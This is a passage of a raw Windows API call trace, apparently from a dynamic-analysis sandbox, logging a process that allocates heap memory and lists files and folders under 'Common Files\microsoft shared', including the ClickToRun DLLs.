Files\\DESIGNER\\MSADDNDR.OLB", lpFilePart=0x9bada4*="MSADDNDR.OLB") returned 0x33 [0117.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.759] GetCurrentThreadId () returned 0x9b0 [0117.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0117.759] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0117.759] GetCurrentThreadId () returned 0x9b0 [0117.760] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.760] GetCurrentThreadId () returned 0x9b0 [0117.760] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0117.760] GetCurrentThreadId () returned 0x9b0 [0117.760] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="ink", cAlternateFileName="")) returned 1 [0117.760] GetCurrentThreadId () returned 0x9b0 [0117.760] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0117.760] GetCurrentThreadId () returned 0x9b0 [0117.760] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0117.760] GetCurrentThreadId () returned 0x9b0 [0117.761] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0117.761] GetCurrentThreadId () returned 0x9b0 [0117.761] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811f8, Size=0x20) returned 0x33ea278 [0117.761] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0117.761] GetCurrentThreadId () returned 0x9b0 [0117.761] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0117.761] GetCurrentThreadId () returned 0x9b0 [0117.761] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0117.761] GetCurrentThreadId () returned 0x9b0 [0117.761] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0117.762] GetCurrentThreadId () returned 0x9b0 [0117.762] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea278, Size=0x40) returned 0x38875c0 [0117.762] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0117.762] GetCurrentThreadId () returned 0x9b0 [0117.762] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0117.762] GetCurrentThreadId () returned 0x9b0 [0117.762] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0117.762] GetCurrentThreadId () returned 0x9b0 [0117.762] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 0 [0117.762] GetCurrentThreadId () returned 0x9b0 [0117.763] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0117.763] GetCurrentThreadId () returned 0x9b0 [0117.763] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun")) returned 0x10 [0117.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0117.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.763] GetCurrentThreadId () returned 0x9b0 [0117.763] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink")) returned 0x10 [0117.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0117.764] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo")) returned 0x10 [0117.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0117.779] GetCurrentThreadId () returned 0x9b0 [0117.779] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16" (normalized: "c:\\program files\\common files\\microsoft shared\\office16")) returned 0x10 [0117.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0117.779] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform")) returned 0x10 [0117.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0117.780] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x33ea0c0 [0117.780] GetCurrentThreadId () returned 0x9b0 [0117.780] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine")) returned 0x10 [0117.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0117.781] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery")) returned 0x10 [0117.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887920 | out: hHeap=0x2ad0000) returned 1 [0117.782] GetCurrentThreadId () returned 0x9b0 [0117.782] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv")) returned 0x10 [0117.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0117.782] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit")) returned 0x10 [0117.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0117.782] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea0c0, Size=0x40) returned 0x38874e8 [0117.783] GetCurrentThreadId () returned 0x9b0 [0117.783] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc")) returned 0x30 [0117.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0117.783] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx")) returned 0x10 [0117.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0117.784] GetCurrentThreadId () returned 0x9b0 [0117.784] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto")) returned 0x10 [0117.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0117.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.785] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0117.785] GetCurrentThreadId () returned 0x9b0 [0117.785] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.786] GetCurrentThreadId () returned 0x9b0 [0117.786] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0117.786] GetCurrentThreadId () returned 0x9b0 [0117.786] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0117.786] GetCurrentThreadId () returned 0x9b0 [0117.786] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0117.786] GetCurrentThreadId () returned 0x9b0 [0117.786] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0117.787] GetCurrentThreadId () returned 0x9b0 [0117.787] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0117.787] GetCurrentThreadId () returned 0x9b0 [0117.787] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881150, Size=0x20) returned 0x33ea1b0 [0117.787] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0117.787] GetCurrentThreadId () returned 0x9b0 [0117.787] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0117.787] GetCurrentThreadId () returned 0x9b0 [0117.787] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0117.787] GetCurrentThreadId () returned 0x9b0 [0117.788] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0117.788] GetCurrentThreadId () returned 0x9b0 [0117.788] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea1b0, Size=0x40) returned 0x3887380 [0117.788] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0117.788] GetCurrentThreadId () returned 0x9b0 [0117.788] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0117.788] GetCurrentThreadId () returned 0x9b0 [0117.788] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0117.788] GetCurrentThreadId () returned 0x9b0 [0117.788] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0117.789] GetCurrentThreadId () returned 0x9b0 [0117.789] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0117.789] GetCurrentThreadId () returned 0x9b0 [0117.789] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0117.789] GetCurrentThreadId () returned 0x9b0 [0117.789] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x9bac8c, 